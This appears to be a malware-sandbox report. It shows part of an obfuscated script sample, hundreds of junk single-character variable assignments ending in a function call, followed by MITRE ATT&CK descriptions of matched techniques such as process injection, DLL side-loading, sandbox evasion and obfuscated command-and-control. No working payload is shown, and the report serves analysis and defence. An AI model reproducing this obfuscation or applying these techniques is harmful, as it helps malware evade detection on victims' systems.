516	apshndzhv = "X";
517	apshndzhv = "S";
518	apshndzhv = "X";
519	apshndzhv = "G";
520	apshndzhv = "j";
521	apshndzhv = "r";
522	apshndzhv = "r";
523	apshndzhv = "R";
524	apshndzhv = "V";
525	apshndzhv = "a";
526	apshndzhv = "E";
527	apshndzhv = "x";
528	apshndzhv = "l";
529	apshndzhv = "J";
530	apshndzhv = "E";
531	apshndzhv = "y";
532	apshndzhv = "U";
533	apshndzhv = "x";
534	apshndzhv = "H";
535	apshndzhv = "M";
536	apshndzhv = "I";
537	ogxun = "L";
538	ogxun = "Z";
539	ogxun = "f";
540	ogxun = "w";
541	ogxun = "Y";
542	ogxun = "h";
543	ogxun = "R";
544	ogxun = "E";
545	ogxun = "b";
546	ogxun = "Y";
547	ogxun = "l";
548	ogxun = "v";
549	ogxun = "n";
550	ogxun = "s";
551	ogxun = "O";
552	ogxun = "r";
553	ogxun = "f";
554	ogxun = "F";
555	ogxun = "q";
556	ogxun = "Z";
557	ogxun = "h";
558	ogxun = "Q";
559	ogxun = "X";
560	ogxun = "B";
561	ogxun = "w";
562	ogxun = "Q";
563	lbpfwsvuq = "R";
564	lbpfwsvuq = "Q";
565	lbpfwsvuq = "b";
566	lbpfwsvuq = "w";
567	lbpfwsvuq = "x";
568	lbpfwsvuq = "p";
569	lbpfwsvuq = "h";
570	lbpfwsvuq = "e";
571	lbpfwsvuq = "T";
572	lbpfwsvuq = "u";
573	lbpfwsvuq = "g";
574	lbpfwsvuq = "W";
575	lbpfwsvuq = "M";
576	lbpfwsvuq = "p";
577	lbpfwsvuq = "s";
578	lbpfwsvuq = "X";
579	lbpfwsvuq = "b";
580	lbpfwsvuq = "r";
581	lbpfwsvuq = "G";
582	lbpfwsvuq = "g";
583	lbpfwsvuq = "P";
584	lbpfwsvuq = "J";
585	lbpfwsvuq = "N";
586	lbpfwsvuq = "k";
587	sgcmimrt = "t";
588	sgcmimrt = "C";
589	sgcmimrt = "C";
590	sgcmimrt = "b";
591	sgcmimrt = "q";
592	sgcmimrt = "p";
593	sgcmimrt = "u";
594	sgcmimrt = "Q";
595	sgcmimrt = "A";
596	sgcmimrt = "k";
597	sgcmimrt = "O";
598	sgcmimrt = "u";
599	sgcmimrt = "G";
600	sgcmimrt = "1";
601	ghyxq = "t";
602	ghyxq = "h";
603	ghyxq = "H";
604	ghyxq = "P";
605	ghyxq = "N";
606	ghyxq = "g";
607	ghyxq = "E";
608	ghyxq = "C";
609	ghyxq = "n";
610	ghyxq = "R";
611	ghyxq = "t";
612	ghyxq = "W";
613	ghyxq = "C";
614	djzgcrhgq = "m";
615	djzgcrhgq = "Q";
616	djzgcrhgq = "U";
617	djzgcrhgq = "M";
618	djzgcrhgq = "/";
619	auoigzapv = "R";
620	auoigzapv = "k";
621	auoigzapv = "E";
622	auoigzapv = "u";
623	auoigzapv = "x";
624	auoigzapv = "N";
625	auoigzapv = "w";
626	auoigzapv = "b";
627	auoigzapv = "Z";
628	auoigzapv = "t";
629	auoigzapv = "i";
630	auoigzapv = "V";
631	auoigzapv = "D";
632	auoigzapv = "Q";
633	auoigzapv = "z";
634	auoigzapv = "J";
635	auoigzapv = "q";
636	auoigzapv = "K";
637	auoigzapv = "q";
638	auoigzapv = "D";
639	auoigzapv = "f";
640	auoigzapv = "n";
641	auoigzapv = "V";
642	auoigzapv = "V";
643	auoigzapv = "V";
644	auoigzapv = "z";
645	auoigzapv = "w";
646	auoigzapv = "v";
647	auoigzapv = "s";
648	auoigzapv = "L";
649	auoigzapv = "D";
650	auoigzapv = "H";
651	auoigzapv = "d";
652	auoigzapv = "K";
653	auoigzapv = "a";
654	auoigzapv = "O";
655	auoigzapv = "T";
656	auoigzapv = "V";
657	auoigzapv = "J";
658	auoigzapv = "D";
659	auoigzapv = "@";
660	tqprmp = "Q";
661	tqprmp = "R";
662	tqprmp = "X";
663	tqprmp = "p";
664	tqprmp = "X";
665	tqprmp = "x";
666	tqprmp = "A";
667	tqprmp = "s";
668	tqprmp = "x";
669	tqprmp = "G";
670	tqprmp = "x";
671	tqprmp = "P";
672	tqprmp = "B";
673	tqprmp = "d";
674	cvcti = "X";
675	cvcti = "u";
676	cvcti = "J";
677	cvcti = "B";
678	cvcti = "s";
679	cvcti = "u";
680	cvcti = "y";
681	cvcti = "B";
682	cvcti = "E";
683	cvcti = "t";
684	cvcti = "T";
685	cvcti = "l";
686	cvcti = "y";
687	cvcti = "w";
688	cvcti = "V";
689	cvcti = "j";
690	cvcti = "r";
691	cvcti = "h";
692	cvcti = "K";
693	cvcti = "D";
694	cvcti = "M";
695	cvcti = "V";
696	cvcti = "r";
697	cvcti = "d";
698	cvcti = "L";
699	cvcti = "A";
700	cvcti = "x";
701	cvcti = "b";
702	cvcti = "g";
703	cvcti = "f";
704	cvcti = "A";
705	cvcti = "e";
706	cvcti = "q";
707	cvcti = "P";
708	cvcti = "F";
709	cvcti = "t";
710	jzeem = "u";
711	jzeem = "K";
712	jzeem = "f";
713	jzeem = "u";
714	jzeem = "Z";
715	jzeem = "s";
716	jzeem = "h";
717	edeuyj = "i";
718	edeuyj = "y";
719	edeuyj = "j";
720	edeuyj = "u";
721	edeuyj = "Z";
722	edeuyj = "y";
723	edeuyj = "P";
724	edeuyj = "P";
725	edeuyj = "D";
726	edeuyj = "Q";
727	edeuyj = "W";
728	edeuyj = "I";
729	edeuyj = "B";
730	edeuyj = "n";
731	edeuyj = "W";
732	edeuyj = "v";
733	edeuyj = "C";
734	edeuyj = "s";
735	edeuyj = "X";
736	edeuyj = "n";
737	edeuyj = "Y";
738	edeuyj = "n";
739	edeuyj = "i";
740	edeuyj = "A";
741	edeuyj = "E";
742	edeuyj = "O";
743	edeuyj = "p";
744	edeuyj = "h";
745	edeuyj = "E";
746	edeuyj = "F";
747	edeuyj = "x";
748	edeuyj = "P";
749	edeuyj = "u";
750	edeuyj = "L";
751	edeuyj = "d";
752	edeuyj = "m";
753	edeuyj = "Q";
754	edeuyj = "R";
755	nmkutzh = "Z";
756	nmkutzh = "D";
757	nmkutzh = "H";
758	nmkutzh = "y";
759	nmkutzh = "m";
760	nmkutzh = "P";
761	nmkutzh = "B";
762	nmkutzh = "u";
763	nmkutzh = "E";
764	nmkutzh = "L";
765	nmkutzh = "W";
766	nmkutzh = "R";
767	nmkutzh = "y";
768	nmkutzh = "o";
769	nmkutzh = "v";
770	nmkutzh = "M";
771	nmkutzh = "G";
772	nmkutzh = "Z";
773	nmkutzh = "E";
774	nmkutzh = "y";
775	nmkutzh = "t";
776	nmkutzh = "g";
777	xpjlsifxg = "L";
778	xpjlsifxg = "s";
779	xpjlsifxg = "Z";
780	xpjlsifxg = "W";
781	xpjlsifxg = "m";
782	xpjlsifxg = "k";
783	xpjlsifxg = "M";
784	xpjlsifxg = "n";
785	xpjlsifxg = "y";
786	xpjlsifxg = "Q";
787	xpjlsifxg = "X";
788	xpjlsifxg = "s";
789	xpjlsifxg = "v";
790	xpjlsifxg = "B";
791	xpjlsifxg = "z";
792	xpjlsifxg = "w";
793	xpjlsifxg = "y";
794	xpjlsifxg = "A";
795	xpjlsifxg = "b";
796	xpjlsifxg = "y";
797	xpjlsifxg = "X";
798	xpjlsifxg = "O";
799	xpjlsifxg = "c";
800	xpjlsifxg = "h";
801	xpjlsifxg = "g";
802	xpjlsifxg = "o";
803	iankrmjyv = "s";
804	iankrmjyv = "V";
805	iankrmjyv = "H";
806	iankrmjyv = "K";
807	iankrmjyv = "n";
808	iankrmjyv = "f";
809	iankrmjyv = "x";
810	iankrmjyv = "d";
811	iankrmjyv = "q";
812	iankrmjyv = "a";
813	iankrmjyv = "I";
814	iankrmjyv = "j";
815	iankrmjyv = "n";
816	iankrmjyv = "V";
817	iankrmjyv = "8";
818	atkjaie = "g";
819	atkjaie = "s";
820	atkjaie = "O";
821	atkjaie = "m";
822	atkjaie = "V";
823	atkjaie = "a";
824	atkjaie = "j";
825	atkjaie = "l";
826	atkjaie = "P";
827	atkjaie = "D";
828	atkjaie = "C";
829	atkjaie = "m";
830	atkjaie = "l";
831	atkjaie = "D";
832	atkjaie = "r";
833	atkjaie = "Y";
834	txepjz = "t";
835	txepjz = "n";
836	txepjz = "w";
837	txepjz = "i";
838	txepjz = "m";
839	txepjz = "v";
840	txepjz = "C";
841	txepjz = "O";
842	txepjz = "q";
843	txepjz = "C";
844	txepjz = "q";
845	txepjz = "d";
846	txepjz = "u";
847	txepjz = "v";
848	txepjz = "f";
849	txepjz = "k";
850	txepjz = "y";
851	txepjz = "Q";
852	txepjz = "e";
853	txepjz = "M";
854	txepjz = "a";
855	txepjz = "y";
856	txepjz = "E";
857	txepjz = "c";
858	txepjz = "s";
859	txepjz = "K";
860	txepjz = "B";
861	txepjz = "M";
862	txepjz = "s";
863	txepjz = "B";
864	txepjz = "c";
865	txepjz = "U";
866	txepjz = "u";
867	txepjz = "H";
868	txepjz = "o";
869	txepjz = "K";
870	txepjz = "n";
871	txepjz = "h";
872	txepjz = "n";
873	zehvzegzh = "J";
874	zehvzegzh = "J";
875	zehvzegzh = "w";
876	zehvzegzh = "u";
877	zehvzegzh = "R";
878	zehvzegzh = "j";
879	zehvzegzh = "q";
880	zehvzegzh = "P";
881	zehvzegzh = "v";
882	zehvzegzh = "s";
883	zehvzegzh = "o";
884	zehvzegzh = "L";
885	zehvzegzh = "T";
886	zehvzegzh = "O";
887	zehvzegzh = "B";
888	zehvzegzh = "q";
889	zehvzegzh = "u";
890	zehvzegzh = "L";
891	zehvzegzh = "n";
892	zehvzegzh = "w";
893	zehvzegzh = "a";
894	zehvzegzh = "f";
895	zehvzegzh = "H";
896	zehvzegzh = "u";
897	zehvzegzh = "U";
898	zehvzegzh = "n";
899	zehvzegzh = "O";
900	zehvzegzh = "b";
901	zehvzegzh = "G";
902	zehvzegzh = "&";
903	sgoqdlsjz = "X";
904	sgoqdlsjz = "U";
905	sgoqdlsjz = "i";
906	sgoqdlsjz = "T";
907	sgoqdlsjz = "K";
908	sgoqdlsjz = "E";
909	sgoqdlsjz = "d";
910	sgoqdlsjz = "M";
911	sgoqdlsjz = "h";
912	sgoqdlsjz = "U";
913	sgoqdlsjz = "o";
914	sgoqdlsjz = "L";
915	sgoqdlsjz = "W";
916	sgoqdlsjz = "Z";
917	sgoqdlsjz = "J";
918	sgoqdlsjz = "y";
919	sgoqdlsjz = "D";
920	sgoqdlsjz = "c";
921	sgoqdlsjz = "R";
922	sgoqdlsjz = "N";
923	sgoqdlsjz = "h";
924	sgoqdlsjz = "q";
925	sgoqdlsjz = "K";
926	sgoqdlsjz = "L";
927	sgoqdlsjz = "h";
928	sgoqdlsjz = "l";
929	sgoqdlsjz = "E";
930	sgoqdlsjz = "Y";
931	sgoqdlsjz = "B";
932	sgoqdlsjz = "n";
933	sgoqdlsjz = "T";
934	sgoqdlsjz = "S";
935	sgoqdlsjz = "V";
936	sgoqdlsjz = "L";
937	sgoqdlsjz = "G";
938	sgoqdlsjz = "x";
939	sgoqdlsjz = "P";
940	ajuai = "I";
941	ajuai = "b";
942	akiihcopa = "A";
943	akiihcopa = "d";
944	akiihcopa = "K";
945	akiihcopa = "G";
946	akiihcopa = " ";
947	ydrjbhd = "N";
948	ydrjbhd = "c";
949	ydrjbhd = "Z";
950	ydrjbhd = "p";
951	ydrjbhd = "L";
952	ydrjbhd = "4";
953	vvmhpbtny = "q";
954	vvmhpbtny = "z";
955	vvmhpbtny = "r";
956	hbecllt = "D";
957	hbecllt = "O";
958	hbecllt = "B";
959	hbecllt = "e";
960	hbecllt = "W";
961	hbecllt = "B";
962	hbecllt = "N";
963	hbecllt = "e";
964	hbecllt = "h";
965	hbecllt = "A";
966	hbecllt = "k";
967	hbecllt = "W";
968	hbecllt = "t";
969	hbecllt = "w";
970	hbecllt = "b";
971	hbecllt = "n";
972	hbecllt = "q";
973	hbecllt = "M";
974	hbecllt = "M";
975	hbecllt = "K";
976	hbecllt = "B";
977	hbecllt = "q";
978	hbecllt = "R";
979	hbecllt = "t";
980	hbecllt = "Z";
981	hbecllt = "y";
982	hbecllt = "k";
983	hbecllt = "Y";
984	hbecllt = "K";
985	adackgbvo = "o";
986	adackgbvo = "o";
987	adackgbvo = "L";
988	adackgbvo = "M";
989	adackgbvo = "p";
990	adackgbvo = "y";
991	adackgbvo = "E";
992	adackgbvo = "i";
993	adackgbvo = "Z";
994	adackgbvo = "w";
995	adackgbvo = "F";
996	adackgbvo = "G";
997	adackgbvo = "W";
998	adackgbvo = "W";
999	adackgbvo = "v";
1000	adackgbvo = "V";
1001	adackgbvo = "i";
1002	adackgbvo = "i";
1003	adackgbvo = "q";
1004	adackgbvo = "j";
1005	adackgbvo = "b";
1006	adackgbvo = "m";
1007	adackgbvo = "o";
1008	adackgbvo = "K";
1009	adackgbvo = "u";
1010	adackgbvo = "O";
1011	adackgbvo = "w";
1012	adackgbvo = "m";
1013	adackgbvo = "L";
1014	adackgbvo = "K";
1015	adackgbvo = "a";
1016	adackgbvo = "z";
1017	adackgbvo = "E";
1018	adackgbvo = "v";
1019	adackgbvo = "0";
1020	lzyutccd = "U";
1021	lzyutccd = "F";
1022	lzyutccd = "U";
1023	lzyutccd = "z";
1024	lzyutccd = "B";
1025	lzyutccd = "c";
1026	lzyutccd = "p";
1027	npclm = "r";
1028	npclm = "T";
1029	npclm = "Y";
1030	npclm = "z";
1031	npclm = "V";
1032	npclm = "M";
1033	npclm = "J";
1034	npclm = "Z";
1035	npclm = "S";
1036	npclm = "v";
1037	npclm = "D";
1038	npclm = "K";
1039	npclm = "R";
1040	npclm = "g";
1041	npclm = "q";
1042	fwakv = "q";
1043	fwakv = "q";
1044	fwakv = "k";
1045	fwakv = "U";
1046	fwakv = "R";
1047	fwakv = "O";
1048	fwakv = "A";
1049	fwakv = "Y";
1050	fwakv = "V";
1051	fwakv = "J";
1052	fwakv = "r";
1053	fwakv = "O";
1054	fwakv = "w";
1055	fwakv = "m";
1056	fwakv = "x";
1057	fwakv = "h";
1058	fwakv = "q";
1059	fwakv = "o";
1060	fwakv = "s";
1061	fwakv = "z";
1062	fwakv = "T";
1063	fwakv = "f";
1064	fwakv = "s";
1065	fwakv = "n";
1066	fwakv = "Q";
1067	fwakv = "T";
1068	fwakv = "V";
1069	fwakv = "z";
1070	fwakv = "K";
1071	fwakv = "A";
1072	fwakv = "F";
1073	fwakv = "X";
1074	fwakv = "H";
1075	fwakv = "W";
1076	fwakv = "w";
1077	fwakv = "p";
1078	fwakv = "A";
1079	fwakv = "W";
1080	fwakv = "E";
1081	fwakv = "\\";
1082	pouxj = "l";
1083	pouxj = "f";
1084	pouxj = "n";
1085	pouxj = "E";
1086	pouxj = "l";
1087	pouxj = "z";
1088	pouxj = "Q";
1089	pouxj = "U";
1090	pouxj = "D";
1091	pouxj = "B";
1092	pouxj = "R";
1093	pouxj = "D";
1094	pouxj = "f";
1095	pouxj = "s";
1096	pouxj = "e";
1097	pouxj = "e";
1098	pouxj = "c";
1099	pouxj = "b";
1100	pouxj = "9";
1101	myddl = "I";
1102	myddl = "y";
1103	myddl = "k";
1104	myddl = "C";
1105	myddl = "x";
1106	myddl = "K";
1107	myddl = "S";
1108	myddl = "H";
1109	myddl = "F";
1110	myddl = "N";
1111	myddl = "z";
1112	myddl = "k";
1113	myddl = "y";
1114	myddl = "X";
1115	myddl = "i";
1116	myddl = "i";
1117	myddl = "g";
1118	myddl = "y";
1119	myddl = "b";
1120	myddl = "T";
1121	myddl = "d";
1122	myddl = "d";
1123	myddl = "a";
1124	myddl = "T";
1125	myddl = "B";
1126	myddl = "u";
1127	myddl = "R";
1128	myddl = "L";
1129	myddl = "m";
1130	myddl = "G";
1131	myddl = "P";
1132	myddl = "P";
1133	myddl = "a";
1134	myddl = "L";
1135	myddl = "j";
1136	myddl = "A";
1137	myddl = "h";
1138	myddl = "J";
1139	myddl = ":";
1140	yhposzl = "g";
1141	yhposzl = "o";
1142	yhposzl = "e";
1143	yhposzl = "f";
1144	yhposzl = "S";
1145	yhposzl = "Q";
1146	yhposzl = "M";
1147	yhposzl = "y";
1148	yhposzl = "m";
1149	yhposzl = "F";
1150	yhposzl = "Y";
1151	yhposzl = "o";
1152	yhposzl = "p";
1153	yhposzl = "A";
1154	yhposzl = "X";
1155	yhposzl = "n";
1156	yhposzl = "Q";
1157	yhposzl = "J";
1158	yhposzl = "v";
1159	yhposzl = "s";
1160	yhposzl = "z";
1161	yhposzl = "M";
1162	yhposzl = "R";
1163	yhposzl = "k";
1164	yhposzl = "h";
1165	yhposzl = "g";
1166	yhposzl = "z";
1167	yhposzl = "S";
1168	yhposzl = "S";
1169	yhposzl = "M";
1170	yhposzl = "v";
1171	yhposzl = "w";
1172	yhposzl = "b";
1173	yhposzl = "W";
1174	eofunl = "Y";
1175	eofunl = "b";
1176	eofunl = "D";
1177	eofunl = "u";
1178	eofunl = "y";
1179	eofunl = "M";
1180	eofunl = "h";
1181	eofunl = "F";
1182	eofunl = "X";
1183	eofunl = "V";
1184	eofunl = "i";
1185	eofunl = "a";
1186	eofunl = "E";
1187	eofunl = "Q";
1188	eofunl = "o";
1189	eofunl = "C";
1190	eofunl = "Z";
1191	eofunl = "w";
1192	eofunl = "v";
1193	eofunl = "s";
1194	eofunl = "u";
1195	eofunl = "u";
1196	eofunl = "5";
1197	ysygyed = "O";
1198	ysygyed = "X";
1199	ysygyed = "Q";
1200	ysygyed = "F";
1201	ysygyed = "g";
1202	ysygyed = "A";
1203	ysygyed = "N";
1204	ysygyed = "Q";
1205	ysygyed = "L";
1206	ysygyed = "Z";
1207	ysygyed = "N";
1208	ysygyed = "g";
1209	ysygyed = "l";
1210	ysygyed = "t";
1211	ysygyed = "g";
1212	ysygyed = "m";
1213	ysygyed = "x";
1214	ysygyed = "A";
1215	ysygyed = "y";
1216	ysygyed = "o";
1217	ysygyed = "o";
1218	ysygyed = "q";
1219	ysygyed = "a";
1220	qsxyimf = "I";
1221	qsxyimf = "n";
1222	qsxyimf = "q";
1223	qsxyimf = "V";
1224	qsxyimf = "Z";
1225	qsxyimf = "Y";
1226	qsxyimf = "Q";
1227	qsxyimf = "p";
1228	qsxyimf = "Z";
1229	qsxyimf = "C";
1230	qsxyimf = "E";
1231	qsxyimf = "O";
1232	qsxyimf = "T";
1233	qsxyimf = "r";
1234	qsxyimf = "H";
1235	qsxyimf = "H";
1236	qsxyimf = "H";
1237	qsxyimf = "b";
1238	qsxyimf = "J";
1239	qsxyimf = "Y";
1240	qsxyimf = "C";
1241	qsxyimf = "H";
1242	qsxyimf = "a";
1243	qsxyimf = "z";
1244	qsxyimf = "P";
1245	qsxyimf = "J";
1246	qsxyimf = "J";
1247	qsxyimf = "x";
1248	qsxyimf = "V";
1249	qsxyimf = "u";
1250	qsxyimf = "D";
1251	qsxyimf = "x";
1252	qsxyimf = "w";
1253	qsxyimf = "c";
1254	qsxyimf = "l";
1255	qsxyimf = "x";
1256	qsxyimf = "C";
1257	qsxyimf = "F";
1258	qsxyimf = "C";
1259	qsxyimf = "N";
1260	qsxyimf = "u";
1261	qsxyimf = "l";
1262	qsxyimf = "F";
1263	bzfpsxltm = "w";
1264	gpinrejjd = "t";
1265	gpinrejjd = "U";
1266	gpinrejjd = "P";
1267	gpinrejjd = "l";
1268	gpinrejjd = "L";
1269	gpinrejjd = "S";
1270	gpinrejjd = "H";
1271	gpinrejjd = "b";
1272	gpinrejjd = "h";
1273	gpinrejjd = "G";
1274	gpinrejjd = "b";
1275	gpinrejjd = "p";
1276	gpinrejjd = "x";
1277	gpinrejjd = "i";
1278	gpinrejjd = "U";
1279	gpinrejjd = "s";
1280	gpinrejjd = "a";
1281	gpinrejjd = "o";
1282	gpinrejjd = "X";
1283	gpinrejjd = "f";
1284	gpinrejjd = "v";
1285	gpinrejjd = "Z";
1286	gpinrejjd = "_";
1287	pevari = "d";
1288	pevari = "r";
1289	pevari = "D";
1290	pevari = "k";
1291	pevari = "y";
1292	pevari = "s";
1293	pevari = "m";
1294	pevari = "Y";
1295	pevari = "Z";
1296	pevari = "Y";
1297	pevari = "B";
1298	pevari = "i";
1299	pevari = "t";
1300	pevari = "z";
1301	pevari = "l";
1302	pevari = "o";
1303	pevari = "L";
1304	pevari = "f";
1305	pevari = "H";
1306	pevari = "E";
1307	pevari = "U";
1308	pevari = "S";
1309	pevari = "v";
1310	pevari = "q";
1311	pevari = "H";
1312	fouwt = "Y";
1313	fouwt = "m";
1314	fouwt = "o";
1315	fouwt = "M";
1316	fouwt = "N";
1317	fouwt = "D";
1318	fouwt = "a";
1319	fouwt = "c";
1320	fouwt = "v";
1321	fouwt = "b";
1322	fouwt = "G";
1323	fouwt = "d";
1324	fouwt = "J";
1325	fouwt = "d";
1326	fouwt = "y";
1327	fouwt = "K";
1328	fouwt = "W";
1329	fouwt = "s";
1330	fouwt = "q";
1331	fouwt = "v";
1332	fouwt = "J";
1333	fouwt = "H";
1334	fouwt = "W";
1335	fouwt = "S";
1336	fouwt = "N";
1337	fouwt = "n";
1338	fouwt = "R";
1339	fouwt = "g";
1340	fouwt = "N";
1341	fouwt = "N";
1342	fouwt = "n";
1343	fouwt = "J";
1344	fouwt = "p";
1345	fouwt = "m";
1346	fouwt = "M";
1347	fouwt = "S";
1348	fouwt = "3";
1349	acahrnta ( );	acahrnta() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

